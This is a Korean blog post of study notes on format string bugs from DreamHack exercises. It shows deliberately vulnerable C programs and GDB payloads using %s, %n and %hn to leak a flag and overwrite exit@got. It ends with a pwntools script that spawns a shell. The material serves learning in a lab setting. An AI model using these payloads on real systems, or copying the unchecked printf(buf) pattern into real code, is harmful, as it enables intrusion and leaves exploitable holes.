Self-Improvement

[DreamHack] FSB 기초학습 (%x, %s, %n, %c, %hn) 본문

리버싱 기초

[DreamHack] FSB 기초학습 (%x, %s, %n, %c, %hn)

JoGeun 2020. 7. 27. 16:45

CTF를 풀때마다 FSB 문제는 하나씩 존재해서 그냥 넘어가는일이 많아서 추후에 공부하자고 다짐만 했었는데 이번 좋은 기회로 FSB에 대해서 제대로 이해하고 어떻게 활용하는지 알아보고 공부해본다.

 

소스코드1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// gcc -o fsb1 fsb1.c -m32 -mpreferred-stack-boundary=2
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
char flag_buf[50];
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}
int main()
{
    FILE *fp;
    char buf[256];
    initialize();
    memset(buf, 0sizeof(buf));
    fp = fopen("./flag""r");
    fread(flag_buf, 1sizeof(flag_buf), fp);
    printf("Input: ");
    read(0, buf, sizeof(buf)-1);
    printf(buf);
    return 0;
}
cs

17줄에는 flag  파일의 내용을 읽어 flag_buf 변수에 저장하고있다.

21줄의 printf()를 보면 buf 변수를 그대로 출력하고 있음으로 fsb 취약점이 존재하게 된다.

 

GDB

컴파일한 후에 gdb에서 FSB 취약점이 존재하는 부분에 BP를 걸어준다.

ebp-0x108의 주소가 buf 변수임을 알 수 있다.

 

실행하여 입력값으로 "AAAA.%x.%x.%x"을 대입해주고 결과를 확인해보면 buf 변수에 제대로 들어간걸 확인할 수 있다.

 

결과적으론 입력한 값("AAAA")을 첫번째 포멧스트링에서 출력이 이루어지고 그 이후로도 스택의 값을 출력하고 있다.

 

이를 활용하여 입력한 값을("AAAA")가 아닌 flag 내용을 담고 있는 flag_buf 변수의 주소를 입력하여 포맷스트링으로 출력을 하면 flag_buf 변수의 주소를 참조하여 내용을 출력하게 될 것이다.

flag_buf 주소 : 0x56559060

 

gef> r <<< $(python -c 'print "\x60\x90\x55\x56.%s"')

결과적으로는 0x56559060의 쓰레기 문자값이 출력되고 그 뒤의 %s 포맷스트링에 의해 참조되는 값을 출력하게 된다.

 

위 예제에서는 첫번째 포맷스트링에서 입력값을 참조하여 쉽게?했지만 만일 만번째에서 입력값을 참조하는 일이 생기면 일일이 포맷스트링을 입력해야하는 불편함이 생기게 된다.

 

이때는 아래와 같이 "%N$포맷스트링"으로 하면 된다.

gef> r <<< $(python -c 'print "\x60\x90\x55\x56%1$s"')

 


이번 예제에서는 "%n"으로 특정한 주소에 값을 Write하는 것을 알아본다.

소스코드2

1
2
3
4
5
6
7
8
// gcc -o fsb_example2 fsb_example2.c
#include <stdio.h>
int main()
{
    int ret = 0;
    printf("1234%1$n\n"&ret);
    printf("ret: %d\n", ret);
}
cs

 

위의 소스코드를 컴파일하여 실행하면 아래와 같이 결과가 나오며 이로써 %1$n 포맷스트링은 문자열의 길이를 저장하게 된다.

 

만약 큰 값을 써야한다면 "%c" 포맷스트링으로 아래와 같이 할 수 있다.

 

소스코드3

1
2
3
4
5
6
7
8
// gcc -o fsb_example3 fsb_example3.c
#include <stdio.h>
int main()
{
    int ret = 0;
    printf("%1024c%1$n\n"&ret);
    printf("ret: %d\n", ret);
}
cs

%1024c%1$n으로 하면 ret에는 1024의 값이 저장된다.

 


이번에는 "%n"으로 실제 특정 주소에 입력을 해보는 것으로 한다.

소스코드4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// gcc -o fsb2 fsb2.c -m32 -mpreferred-stack-boundary=2
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}
void get_shell() {
    system("/bin/sh");
}
int main()
{
    char buf[256];
    initialize();
    memset(buf, 0sizeof(buf));
    printf("Input: ");
    read(0, buf, sizeof(buf)-1);
    printf(buf);
    exit(0);
}
cs

이 소스코드에서 할 것은 exit@got 주소에 get_shell 주소를 overwrite할 것이며 exit 함수가 수행되면 Got Overwrite로 인해 get_shell 함수가 실행되어 쉘을 얻을 수 있을 것이다.

Got Overwrite 참조 : https://johyungen.tistory.com/444

 

RTL (Return To Library), RTL Chaining, gadget(PPR), Got Overwrite 실습

https://wogh8732.tistory.com/106 https://liveyourit.tistory.com/122 https://shayete.tistory.com/entry/4-Return-to-Library-RTL RTL은 DEP라는 방어의 우회 공격 기법이다. DEP란 버퍼 오버플로우로 RET(스..

johyungen.tistory.com

 

20줄의 printf(buf)에서 FSB가 발생하여 exit@got 주소에 get_shell을 씌울 수 있겠다.

먼저 구해야하는 것은 exit@got 주소, get_shell 주소이다.

get_shell : 0x80491f5

exit@got : 0x804c018

 

먼저 "set" 명령어로 exit@got를 get_shell 주소로 변경하고 실행하면 쉘을 정상적으로 획득할 수 있다.

main에 bp 걸고 실행상태에서 수행

 

먼저 연습삼아 exit@got주소에 0x400(1024)를 대입해본다.

 

gef> r <<< $(python -c 'print "\x18\xc0\x04\x08%1024c%1$n"')

하지만 위의 페이로드를 수행하고 exit@got를 확인하면 0x404가 들어가 있는데 이는 앞의 exit@got 주소 4바이트가 추가되어서 그런것이다.

 

그래서 get_shell 주소에 맞게 대입을 해주는 대신 앞의 4바이트를 생각하면서 해야한다.

134517237(0x80491f5)-4 = 134517233(x80491F1)

 

쉘을 얻기위한 페이로드는 아래와 같다.

gef> r <<< $(python -c 'print "\x18\xc0\x04\x08%134517233c%1$n"')

페이로드 입력이 끝나고 exit@got 를 확인하면 get_shell 주소인 0x080491f5가 정상적으로 들어가 있는 것을 확인할 수 있다.

 

 

하지만 위와 같이 진행하면 무수한 길이의 페이로드로 인해 공격이 오래걸리거나 timeout이 걸릴 수 있음으로 다음 소개할 방법으로 진행하는게 좋다.

 


"%hn"으로 기존에 4바이트에 대해서 페이로드를 작성했다면 2바이트씩 나눠서 쓰는 방법을 사용하면 된다.

"%hhn" 은 1바이트

한마디로 exit@got의 주소와 exit@got+2의 주소로 나누어 각각 구역에 쓰면된다.

 

exit@got = 0x804c018

exit@got+2 = 0x804c01a

get_shell = 0x80491f5

 

exit@got+2에는 get_shell의 0x0804가 들어가야한다.

= "\x1a\xc0\x04\x08\x18\xc0\x04\x08%2044c%1$hn" 

%2044c가 되는 이유는 0x804(2052)에서 앞의 8byte(\x1a\xc0\x04\x08\x18\xc0\x04\x08)를 빼야하기 때문에 0x7FC(2044)가 된다.

 

그리고 exit@got에는 0x91f5(37365)을 입력해야 하기 때문에 앞에서 사용된 길이(8+2044)를 뺀 값을 넣으면 된다.

최종 페이로드 = "\x1a\xc0\x04\x08\x18\xc0\x04\x08%2044c%1$hn%35313c%2$hn"

 

페이로드로 하면 이상하게 되지를..않아서 pwntools로 아래에 작성

pwntools

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
context.log_level='debug'
 
e=ELF('./fsb2')
p=process("./fsb2")
get_shell=e.symbols['get_shell']
exit_got=e.got['exit']
 
p.recvuntil('Input')
p.sendline(fmtstr_payload(1,{exit_got:get_shell}))
 
p.interactive()
cs

 


 

간단 문제

1
2
3
4
5
6
7
8
9
// gcc -o fsb_write fsb_write.c -m32 -mpreferred-stack-boundary=2
#include <stdio.h>
int main(void) {
    int auth = 0x42424242;
    char buf[32= {0, };
    
    read(0, buf, 32);
    printf(buf);
}
cs

 

fsb 취약점으로 auth 변수의 값을 0xff로 변경하는 것이다.

먼저 auth의 주소를 알아보자면 0xffffd370이다.

 

사전에 포맷스트링 첫번째에서 입력값을 참조하는 걸 확인하였으며 바로 페이로드를 바로 작성해본다

255(0xff)에서 앞의 4바이트를 빼면 251(0xfb)이다.

페이로드 = r <<< $(python -c 'print "\x70\xd3\xff\xff%251c%1$n"')

auth의 값은 0xff로 변경된걸 확인할 수 있다.